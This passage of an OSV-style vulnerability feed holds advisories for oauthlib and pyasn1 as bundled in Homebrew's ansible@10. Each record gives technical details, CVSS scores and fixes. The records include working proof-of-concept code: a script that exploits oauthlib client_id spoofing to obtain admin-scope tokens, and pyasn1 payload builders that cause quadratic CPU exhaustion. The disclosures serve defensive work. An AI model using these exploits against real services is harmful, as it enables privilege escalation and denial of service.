pecific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"oauthlib","subject_version":"3.3.1","key":"pkg:pypi/oauthlib@3.3.1","resource":"oauthlib"}]},"summary":"OAuthLib: Token grants can use attacker-supplied client_id for authorization after authenticating a different client","details":"## Summary\n\nOAuthlib's token grant handlers can authenticate one client while authorizing the grant type and requested scopes using a different, attacker-supplied `client_id` from the request body.\n\nIn affected token grant flows, `authenticate_client(request)` sets `request.client` to the authenticated client object, but OAuthlib does not require `request.client_id` to match `request.client.client_id`. If the request body already contains `client_id=...`, OAuthlib keeps that value and passes it to `validate_grant_type()` and `validate_scopes()`.\n\nAs a result, an authenticated low-privilege confidential client can authenticate as itself, submit another client's `client_id` in the token request body, and cause grant and scope validation to run under that other client identity.\n\n## Affected Surface\n\nThe affected public surface is the OAuth2 token endpoint handling for:\n\n- `client_credentials`\n- `password` / Resource Owner Password Credentials\n\nThe issue is relevant to OAuthlib provider deployments where:\n\n- the attacker has credentials for one valid lower-privilege confidential client;\n- another client has broader grants or scopes;\n- the application validator uses the `client_id` argument passed by OAuthlib in `validate_grant_type()` or `validate_scopes()`, as the `RequestValidator` API is designed to support.\n\nDeployments whose validators ignore the `client_id` argument and authorize only from `request.client` may not be affected.\n\n## Details\n\n`Request` parses query and body parameters into request attributes, including `client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/common.py#L360-L397\n\nThe `RequestValidator.authenticate_client()` contract requires the integrator to authenticate the client and set `request.client`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/request_validator.py#L41-L66\n\nFor the `client_credentials` grant, OAuthlib authenticates the client, verifies that `request.client` has a `client_id`, then performs grant and scope validation before normalizing `request.client_id` from `request.client.client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/client_credentials.py#L106-L119\n\nThe problematic order is:\n\n```python\nif not self.request_validator.authenticate_client(request):\n    ...\nelif not hasattr(request.client, 'client_id'):\n    ...\n\nself.validate_grant_type(request)\n\nrequest.client_id = request.client_id or request.client.client_id\nself.validate_scopes(request)\n```\n\nBecause OAuthlib only fills `request.client_id` when it is missing, an attacker-supplied body value such as `client_id=high` survives even when `request.client.client_id == \"low\"`.\n\nThe shared grant helper then authorizes using `request.client_id`, while passing the authenticated client object separately:\n\n- `validate_grant_type(request.client_id, request.grant_type, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L152-L162\n- `validate_scopes(request.client_id, request.scopes, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L164-L176\n\nThe same identity split exists in the Resource Owner Password Credentials flow. After client authentication and user validation, OAuthlib validates the grant and scopes before replacing a missing `request.client_id` from `request.client.client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L87-L97\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L178-L195\n\nThis creates an inconsistent identity state:\n\n```text\nrequest.client.client_id == \"low\"   # authenticated client\nrequest.client_id == \"high\"         # attacker-supplied request parameter\n```\n\nOAuthlib then calls application authorization hooks with both values, but uses the attacker-controlled `request.client_id` as the first-class `client_id` argument.\n\n## Impact\n\nAn authenticated lower-privilege confidential client can obtain tokens authorized under another client's grant and scope policy if the application's validator follows the `RequestValidator` API and authorizes by the `client_id` argument.\n\nConcrete impact can include:\n\n- issuing access tokens with scopes not assigned to the authenticated client;\n- allowing a low-privilege client to use a grant type reserved for a higher-privilege client;\n- persisting tokens under a spoofed `client_id` while the authenticated client object is different.\n\nThis is a token authorization bypass, not an unauthenticated attack. The attacker needs valid credentials for one client.\n\n## PoC\n\nCreate the following files in an empty directory.\n\n`requirements.txt`:\n\n```text\noauthlib==3.3.1\n```\n\n`repro.py`:\n\n```python\nimport base64\nimport json\n\nfrom oauthlib.oauth2 import (\n    BearerToken,\n    ClientCredentialsGrant,\n    RequestValidator,\n    ResourceOwnerPasswordCredentialsGrant,\n    TokenEndpoint,\n)\n\n\nclass Client:\n    def __init__(self, client_id):\n        self.client_id = client_id\n\n\nCLIENTS = {\n    \"low\": {\n        \"secret\": \"low-secret\",\n        \"grants\": {\"client_credentials\", \"password\"},\n        \"scopes\": {\"read\"},\n    },\n    \"high\": {\n        \"secret\": \"high-secret\",\n        \"grants\": {\"client_credentials\", \"password\"},\n        \"scopes\": {\"read\", \"admin\"},\n    },\n}\n\n\nclass DemoValidator(RequestValidator):\n    def __init__(self):\n        self.saved_tokens = []\n\n    def authenticate_client(self, request, *args, **kwargs):\n        authorization = request.headers.get(\"Authorization\", \"\")\n        prefix = \"Basic \"\n        if not authorization.startswith(prefix):\n            return False\n\n        decoded = base64.b64decode(authorization[len(prefix):]).decode(\"utf-8\")\n        client_id, secret = decoded.split(\":\", 1)\n        record = CLIENTS.get(client_id)\n        if record is None or record[\"secret\"] != secret:\n            return False\n\n        # This is the authenticated client identity.\n        request.client = Client(client_id)\n        return True\n\n    def client_authentication_required(self, request, *args, **kwargs):\n        return True\n\n    def validate_grant_type(self, client_id, grant_type, client, request, *args, **kwargs):\n        record = CLIENTS.get(client_id)\n        return record is not None and grant_type in record[\"grants\"]\n\n    def validate_scopes(self, client_id, scopes, client, request, *args, **kwargs):\n        record = CLIENTS.get(client_id)\n        return record is not None and set(scopes or []) <= record[\"scopes\"]\n\n    def get_default_scopes(self, client_id, request, *args, **kwargs):\n        return []\n\n    def validate_user(self, username, password, client, request, *args, **kwargs):\n        if username == \"alice\" and password == \"wonderland\":\n            request.user = username\n            return True\n        return False\n\n    def save_bearer_token(self, token, request, *args, **kwargs):\n        self.saved_tokens.append({\n            \"token\": dict(token),\n            \"authenticated_client_id\": request.client.client_id,\n            \"request_client_id\": request.client_id,\n            \"scopes\": list(request.scopes or []),\n        })\n\n\nvalidator = DemoValidator()\ntoken = BearerToken(validator, expires_in=3600)\nendpoint = TokenEndpoint(\n    default_grant_type=\"client_credentials\",\n    default_token_type=token,\n    grant_types={\n        \"client_credentials\": ClientCredentialsGrant(validator),\n        \"password\": ResourceOwnerPasswordCredentialsGrant(validator),\n    },\n)\n\n\ndef low_client_headers():\n    value = base64.b64encode(b\"low:low-secret\").decode(\"ascii\")\n    return {\"Authorization\": f\"Basic {value}\"}\n\n\ndef token_request(body):\n    _headers, response_body, status = endpoint.create_token_response(\n        \"https://auth.example/token\",\n        body=body,\n        headers=low_client_headers(),\n    )\n    return status, json.loads(response_body)\n\n\ndef assert_rejected(label, body):\n    status, response = token_request(body)\n    print(label, status, response)\n    if status == 200:\n        raise SystemExit(f\"{label}: expected rejection, got success\")\n\n\ndef assert_spoofed_success(label, body):\n    status, response = token_request(body)\n    print(label, status, response)\n    if status != 200:\n        raise SystemExit(f\"{label}: expected token, got {status} {response}\")\n    if response.get(\"scope\") != \"admin\":\n        raise SystemExit(f\"{label}: expected admin scope, got {response}\")\n\n    saved = validator.saved_tokens[-1]\n    if saved[\"authenticated_client_id\"] != \"low\":\n        raise SystemExit(f\"{label}: authenticated client changed unexpectedly: {saved}\")\n    if saved[\"request_client_id\"] != \"high\":\n        raise SystemExit(f\"{label}: spoofed request client_id was not preserved: {saved}\")\n\n\nassert_rejected(\n    \"control client_credentials as low requesting admin\",\n    \"grant_type=client_credentials&client_id=low&scope=admin\",\n)\nassert_spoofed_success(\n    \"spoofed client_credentials as low with client_id=high\",\n    \"grant_type=client_credentials&client_id=high&scope=admin\",\n)\n\nassert_rejected(\n    \"control password as low requesting admin\",\n    \"grant_type=password&client_id=low&username=alice&password=wonderland&scope=admin\",\n)\nassert_spoofed_success(\n    \"spoofed password as low with client_id=high\",\n    \"grant_type=password&client_id=high&username=alice&password=wonderland&scope=admin\",\n)\n\nprint(\"OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED\")\nprint(json.dumps(validator.saved_tokens, indent=2, sort_keys=True))\n```\n\nRun:\n\n```bash\npython -m venv .venv\n. .venv/bin/activate\npython -m pip install -r requirements.txt\npython repro.py\n```\n\nExpected result:\n\n```text\ncontrol client_credentials as low requesting admin 400 {'error': 'invalid_scope'}\nspoofed client_credentials as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin'}\ncontrol password as low requesting admin 400 {'error': 'invalid_scope'}\nspoofed password as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin', 'refresh_token': '...'}\nOAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED\n```\n\nThe success condition is that both successful token responses are produced while the saved token state shows:\n\n```json\n{\n  \"authenticated_client_id\": \"low\",\n  \"request_client_id\": \"high\",\n  \"scopes\": [\"admin\"]\n}\n```\n\nThat demonstrates that the authenticated client is `low`, while grant and scope authorization used the attacker-supplied `client_id=high`.\n\n## Suggested Remediation\n\nAfter client authentication succeeds, OAuthlib should reject a token request if an explicit request `client_id` is present and does not match `request.client.client_id`.\n\nFor authenticated confidential-client flows, a safer invariant is:\n\n```python\nif request.client is not None:\n    if request.client_id is not None and request.client_id != request.client.client_id:\n        raise InvalidClientError(...)\n    request.client_id = request.client.client_id\n```\n\nThis should happen before `validate_grant_type()` and `validate_scopes()` are called.\n\nReporters:\n\n- liyi.zhou@sydney.edu.au (Liyi), https://lzhou1110.github.io/\n- ziyue0530@gmail.com (Ziyue), https://zyy0530.github.io/\n- cshe0476@uni.sydney.edu.au (Strick), https://str1ckl4nd.github.io/\n- chng0012@uni.sydney.edu.au (Maurice), http://maurice.busystar.org/\n- cyu210608@gmail.com (Chenchen), https://7thparkk.github.io/","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/security/advisories/GHSA-7984-qgvg-3j9c"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-118669"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/pull/920"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/commit/c951a1d09f99f14e3240973fa83c4f4287d4753d"},{"type":"PACKAGE","url":"https://github.com/oauthlib/oauthlib"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/releases/tag/v4.0.0"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2026-119194","published":"2026-10-31T08:54:55Z","modified":"2026-10-31T08:54:55Z","upstream":["GHSA-fm9c-5rcf-2q5p","CVE-2026-119194"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"0.6.5","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.1","key":"pkg:pypi/pyasn1@0.6.1","resource":"pyasn1"}]},"summary":"pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding","details":"### Summary\n\nWhen an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.\n\n### Details\n\nConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component’s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order.  On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.\n\n### Proof of concept\n\nRun this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:\n\n```python\nimport sys\nimport time\n\nfrom pyasn1.codec.ber import decoder\nfrom pyasn1.type import univ\n\n\ndef enc_tag(tag_id):\n    groups = [tag_id & 0x7f]\n    tag_id >>= 7\n    while tag_id:\n        groups.append((tag_id & 0x7f) | 0x80)\n        tag_id >>= 7\n    return b'\\xbf' + bytes(reversed(groups))\n\n\ndef payload(tag_ids):\n    body = b''.join(enc_tag(tag_id) + b'\\x03\\x04\\x01A'\n                    for tag_id in tag_ids)\n    length = len(body).to_bytes((len(body).bit_length() + 7) // 8, 'big')\n    return b'\\x30' + bytes([0x80 | len(length)]) + length + body\n\n\nfor count in (3200, 6400):\n    cases = (\n        (\"collision\", [32 + i * sys.hash_info.modulus\n                       for i in range(count)]),\n        (\"control\", [(1 << 70) + i for i in range(count)]),\n    )\n    for name, tag_ids in cases:\n        wire = payload(tag_ids)\n        start = time.process_time()\n        value, remainder = decoder.decode(wire)\n        cpu_seconds = time.process_time() - start\n\n        assert type(value) is univ.Sequence\n        assert len(value) == count and remainder == b''\n        for position, tag_id in enumerate(tag_ids):\n            component = value.getComponentByPosition(position)\n            assert component.asOctets() == b'A'\n            assert component.tagSet[-1].tagId == tag_id\n\n        print(count, name, len(wire), round(cpu_seconds, 3))\n```\n\n### Impact\n\nApplications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-fm9c-5rcf-2q5p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-119194"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/pull/132"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/a36e3a3d067148d26197a6b7221fd0e2cde9cc86"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2026-119195","published":"2026-10-31T08:54:55Z","modified":"2026-10-31T08:54:55Z","upstream":["GHSA-9m75-vc3g-4x39","CVE-2026-119195"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"0.6.5","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.1","key":"pkg:pypi/pyasn1@0.6.1","resource":"pyasn1"}]},"summary":"pyasn1 has quadratic-time denial of service in constructed string and indefinite-length ANY decoding","details":"## Summary\n\nIn pyasn1 0.6.4 and earlier, decoding a constructed OCTET STRING or character string made of many fragments can spend disproportionate CPU time repeatedly copying the accumulated value. A separate indefinite-length `ANY` path has the same problem while collecting the encoded components. The work grows roughly quadratically with the number of fixed-size fragments, although the input and decoded value grow linearly. An application that lets an attacker supply such ASN.1 input to an affected decoder can suffer CPU exhaustion.\n\nThe affected string paths are available in BER and CER. The DER decoder also accepts certain *non-DER* constructed strings: a definite-length constructed OCTET STRING when an `asn1Spec` selects `univ.OctetString`, and constructed character strings such as UTF8String even without a schema. Indefinite-length `ANY` is affected in BER and CER when an `asn1Spec` selects `univ.Any`; DER rejects indefinite lengths.\n\nThis is a distinct decoder path from the OBJECT IDENTIFIER/RELATIVE-OID accumulation addressed by [CVE-2026-59885](https://github.com/advisories/GHSA-8ppf-4f7h-5ppj). It has the same complexity class, but the OID fix in 0.6.4 did not change these string or `ANY` loops.\n\n## Technical details\n\nIn the [v0.6.4 BER decoder](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py), `OctetStringPayloadDecoder` appends each decoded fragment to a growing `bytes` value with `header += component` in both its [definite-length](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L338-L351) and [indefinite-length](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L368-L387) constructed forms. [`AnyPayloadDecoder.indefLenValueDecoder`](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L1403-L1430) similarly uses `chunk += component`. In the exercised paths, each concatenation copies an increasingly large prefix. For `N` fixed-size fragments, the total copied data grows with `1 + 2 + ... + N`, or O(N²).\n\nThe OCTET STRING decoder is also the base class of the decoders for UTF8String, NumericString, PrintableString, TeletexString, VideotexString, IA5String, GraphicString, VisibleString, GeneralString, UniversalString, BMPString, ObjectDescriptor, GeneralizedTime, and UTCTime. These types inherit the same constructed-string reassembly path.\n\nThe [DER decoder's OCTET STRING restriction](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/der/decoder.py#L15-L49) replaces the tag-driven decoder, but its schema-driven `TYPE_MAP` retains the BER-derived decoder. Thus `der.decode(data)` rejects a constructed OCTET STRING, while `der.decode(data, asn1Spec=univ.OctetString())` accepts its definite-length form and reaches the accumulation loop. DER does not replace the inherited character-string decoders, so a constructed UTF8String is also accepted without `asn1Spec`. These inputs violate [X.690's DER string-encoding rule](https://www.itu.int/rec/T-REC-X.690-202102-I/en) and should not be described as valid DER encodings.\n\nThe original short-fragment, definite-length OCTET STRING reproducer is valid BER. The CER decoder accepts it, but it is not a conforming CER string encoding: X.690 requires an indefinite-length outer constructed string and 1,000 contents octets per fragment except possibly the last. A conforming CER-shaped constructed OCTET STRING with those fragment sizes also reaches the loop and shows quadratic growth. The indefinite-length `ANY` reproducer below can represent a CER `SEQUENCE OF OCTET STRING` and reaches the separate `ANY` loop when decoded with an `ANY` schema.\n\nThe decoder's eight-octet length-field limit and nesting-depth limit do not bound the number of sibling fragments in these examples. The BER reproducer below uses only a three-octet outer length field; all fragments have shallow nesting. There is no per-message fragment-count cap in v0.6.4.\n\n## Impact\n\nIf an application passes attacker-controlled ASN.1 to the affected `decode()` or `StreamingDecoder` path without an adequate input or resource limit, a megabyte-scale value can occupy a decoding worker for seconds. Repeated inputs can exhaust available CPU. Whether this is reachable before authentication, or through a particular protocol, depends on the application; the library finding alone does not establish those conditions. No confidentiality or integrity impact is claimed.\n\n## Severity assessment (CVSS v3.1)\n\nThe 7.5 Base score assumes a reasonable application that automatically decodes attacker-supplied ASN.1 from unauthenticated network input. Valid BER and conforming CER inputs trigger the string-reassembly issue without special conditions, privileges, or user interaction. Repeated crafted inputs could occupy all available decoder workers and deny service while the attack continues. No confidentiality or integrity impact is demonstrated. This library-level score does not assert that every adopter has such an endpoint or loses all service; deployment-specific input limits and architecture may change the score. See [FIRST's library-scoring guidance](https://www.first.org/cvss/v3-1/user-guide).\n\nOn the official v0.6.4 tag, local CPU-time measurements with CPython 3.14.8 on macOS arm64 gave the following results. Times vary by machine and Python runtime; the input-size scaling is the relevant observation. “Fixed” means the local 0.6.5 decoder fix applied to the same inputs.\n\n| Decoder path and input | Fragments | v0.6.4 CPU | Fixed CPU |\n| --- | ---: | ---: | ---: |\n| BER constructed OCTET STRING, 0.40 MB | 100,000 × 2 payload bytes | 0.340 s | 0.160 s |\n| BER constructed OCTET STRING, 0.80 MB | 200,000 × 2 payload bytes | 0.886 s | 0.312 s |\n| BER constructed OCTET STRING, 1.60 MB | 400,000 × 2 payload bytes | 2.738 s | 0.623 s |\n| BER indefinite `ANY`, 0.30 MB | 100,000 × 1 payload byte | 0.459 s | 0.206 s |\n| BER indefinite `ANY`, 0.60 MB | 200,000 × 1 payload byte | 1.245 s | 0.412 s |\n| BER indefinite `ANY`, 1.20 MB | 400,000 × 1 payload byte | 3.980 s | 0.826 s |\n| CER constructed OCTET STRING, 1.00 MB, conforming fragment layout | 1,000 × 1,000 payload bytes | 0.0089 s | 0.0022 s |\n| CER constructed OCTET STRING, 2.01 MB, conforming fragment layout | 2,000 × 1,000 payload bytes | 0.0311 s | 0.0044 s |\n| CER constructed OCTET STRING, 4.02 MB, conforming fragment layout | 4,000 × 1,000 payload bytes | 0.1379 s | 0.0090 s |\n\nFor the same short-fragment layout, the original report measured up to 16.05 seconds for a 3.2 MB BER constructed OCTET STRING. An independent report on CPython 3.11.16/Linux measured 5.76 seconds for a 2.4 MB constructed OCTET STRING, versus about 0.005 seconds for a primitive OCTET STRING of comparable size. These are reporter measurements on different systems, not fixed performance guarantees.\n\n## Reproduction\n\nThis example uses public decoder APIs. Run it with pyasn1 0.6.4 and increase `n` to observe the scaling. The final two calls show the DER paths accepted by v0.6.4; their constructed encodings are not valid DER.\n\n```python\nimport time\n\nfrom pyasn1.codec.ber import decoder as ber\nfrom pyasn1.codec.cer import decoder as cer\nfrom pyasn1.codec.der import decoder as der\nfrom pyasn1.type import univ\n\n\ndef tlv(identifier, contents):\n    length = len(contents)\n    if length < 128:\n        return bytes((identifier, length)) + contents\n    encoded = length.to_bytes((length.bit_length() + 7) // 8, \"big\")\n    return bytes((identifier, 0x80 | len(encoded))) + encoded + contents\n\n\ndef measure(label, decode, substrate, asn1Spec=None):\n    start = time.process_time()\n    _, rest = decode(substrate, asn1Spec=asn1Spec)\n    assert not rest\n    print(f\"{label}: {len(substrate)} input bytes, \"\n          f\"{time.process_time() - start:.3f} CPU seconds\")\n\n\nn = 100_000\noctet_fragments = b\"\\x04\\x02AA\" * n\nutf8_fragments = b\"\\x0c\\x02AA\" * n\n\nmeasure(\"BER constructed OCTET STRING\", ber.decode,\n        tlv(0x24, octet_fragments))\nmeasure(\"BER indefinite ANY\", ber.decode,\n        b\"\\x30\\x80\" + b\"\\x04\\x01A\" * n + b\"\\x00\\x00\",\n        univ.Any())\n\n# CER uses indefinite length and 1,000-content-octet primitive fragments.\ncer_fragment = tlv(0x04, b\"A\" * 1000)\nmeasure(\"CER constructed OCTET STRING\", cer.decode,\n        b\"\\x24\\x80\" + cer_fragment * 1000 + b\"\\x00\\x00\")\n\n# These constructed encodings are accepted by pyasn1 but are invalid DER.\nmeasure(\"DER OCTET STRING with schema\", der.decode,\n        tlv(0x24, octet_fragments), univ.OctetString())\nmeasure(\"DER UTF8String without schema\", der.decode,\n        tlv(0x2c, utf8_fragments))\n```\n\n## Patch\n\npyasn1 0.6.5 replaces the growing `bytes` accumulator with a list of fragments and joins them once after decoding in all three affected loops. The OCTET STRING base-class change also covers the inheriting character-string decoders. This removes the repeated copying while preserving the assembled decoded value.\n\n## Workaround\n\nUntil upgrading, enforce application-appropriate limits on the size of untrusted ASN.1 input *before* passing it to pyasn1, and limit the CPU resources available to decoding workers. Applications that require DER can also reject constructed string encodings before invoking the decoder. The appropriate byte limit depends on the protocol and expected valid values.\n\n## Credits and references\n\nReported by [alimony](https://github.com/alimony). Independently reported by [manus-pi](https://github.com/manus-pi), whose report identified the schema-driven DER route, inherited character-string decoders, and additional performance evidence.\n\n- [pyasn1 v0.6.4 affected decoder source](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py)\n- [ITU-T X.690, CER and DER string-encoding rules](https://www.itu.int/rec/T-REC-X.690-202102-I/en)\n- [CVE-2026-59885, separate OID decoder issue](https://github.com/advisories/GHSA-8ppf-4f7h-5ppj)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-9m75-vc3g-4x39"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-119195"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/pull/132"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/4ce00797c594b59c1fd6b86d9ebc3ba87b7ec9f9"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2026-119196","published":"2026-10-31T08:54:55Z","modified":"2026-10-31T08:54:55Z","upstream":["GHSA-2qm8-x737-gmw5","CVE-2026-119196"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"0.6.5","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.1","key":"pkg:pypi/pyasn1@0.6.1","resource":"pyasn1"}]},"summary":"pyasn1 has quadratic CPU consumption in constructed BIT STRING decoding","details":"## Summary\n\nIn pyasn1 through 0.6.4, decoding a constructed BIT STRING with many fragments repeatedly shifts and copies the entire value accumulated so far. For fixed-size fragments, CPU time grows quadratically with the encoded input size. An application that passes sufficiently large, attacker-controlled ASN.1 data to an affected decoder can suffer CPU exhaustion during `decode()`; no conversion or formatting of the decoded value is required.\n\nThe BER and CER decoders reach this path for constructed BIT STRING values, with or without an `asn1Spec`. The DER decoder rejects constructed BIT STRING in schema-less decoding, but its schema-driven path accepts a **definite-length** constructed BIT STRING when given a matching `asn1Spec` and reaches the same vulnerable code. Constructed BIT STRING is not valid DER; this DER exposure is due to decoder permissiveness. DER rejects the indefinite-length form.\n\nThis is a separate decoder path from the OBJECT IDENTIFIER accumulation fixed in [CVE-2026-59885](https://github.com/advisories/GHSA-8ppf-4f7h-5ppj).\n\n## Technical details\n\nIn the 0.6.4 [`BitStringPayloadDecoder`](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L173-L301), both the [definite-length](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L237-L255) and [indefinite-length](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L275-L301) fragment loops call `BitString.fromOctetString(..., prepend=bitString)` for every fragment. [`fromOctetString`](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/type/univ.py#L614-L627) shifts the growing `SizedInteger` left by the fragment's bit length and ORs in the fragment. Shifting an ever-larger Python integer for each fixed-size fragment makes total work O(n²) for n fragments. The fragments are siblings, so the decoder's nesting-depth limit does not constrain their count; its limit on the number of length octets does not prevent the demonstrated inputs.\n\nIn 0.6.4, DER's [tag-driven map](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/der/decoder.py#L15-L40) disables constructed BIT STRING, while its schema-driven type map retains the inherited decoder that permits it. This explains why a schema-less DER rejection is not a negative result for all DER decoding.\n\nUnder [X.690](https://www.itu.int/rec/T-REC-X.690-202102-I/en), a conforming CER constructed BIT STRING uses an indefinite-length outer encoding and primitive fragments with 1000 contents octets except possibly the last. That form reaches the affected indefinite-length loop. DER requires primitive string encoding, although the schema-driven pyasn1 decoder accepts the definite-length constructed example below.\n\n## Impact\n\nAn application is exposed when untrusted input can reach one of the affected decoder paths and its input limits admit enough fragments. The work occupies the decoding thread or worker and may cause denial of service. Whether the input is network-accessible or unauthenticated depends on the calling application. This advisory makes no claim that every application using pyasn1, or any particular protocol implementation, accepts such input.\n\n## Severity assessment (CVSS v3.1)\n\nThe 7.5 Base score assumes a reasonable application that automatically decodes attacker-supplied ASN.1 from unauthenticated network input. Valid BER and conforming CER values trigger the issue without special conditions, privileges, or user interaction. Repeated crafted values could occupy a finite decoder-worker pool and deny service while the attack continues. No confidentiality or integrity impact is demonstrated. This library-level score does not claim that every application is network-exposed or fully unavailable; deployment-specific input limits and architecture may change the score. See [FIRST's library-scoring guidance](https://www.first.org/cvss/v3-1/user-guide).\n\n## Reproducer\n\nThe definite-length example below is valid BER. It is deliberately not a conforming CER or DER encoding. The second constructor uses conforming CER fragment sizing and framing. CPU times are machine-dependent; run the larger cases only in a local test environment.\n\n```python\nimport time\n\nfrom pyasn1.codec.ber import decoder as ber_decoder\nfrom pyasn1.codec.cer import decoder as cer_decoder\nfrom pyasn1.codec.der import decoder as der_decoder\nfrom pyasn1.error import PyAsn1Error\nfrom pyasn1.type import univ\n\n\ndef encode_length(size):\n    octets = size.to_bytes((size.bit_length() + 7) // 8, \"big\")\n    return bytes((0x80 | len(octets),)) + octets\n\n\ndef definite_fragments(count):\n    body = b\"\\x03\\x02\\x00\\xa5\" * count  # one data octet per BIT STRING fragment\n    return b\"\\x23\" + encode_length(len(body)) + body\n\n\ndef cer_fragments(count):\n    # Each primitive fragment has 1000 contents octets: one unused-bits\n    # octet (zero) followed by 999 data octets.\n    fragment = b\"\\x03\" + encode_length(1000) + b\"\\x00\" + 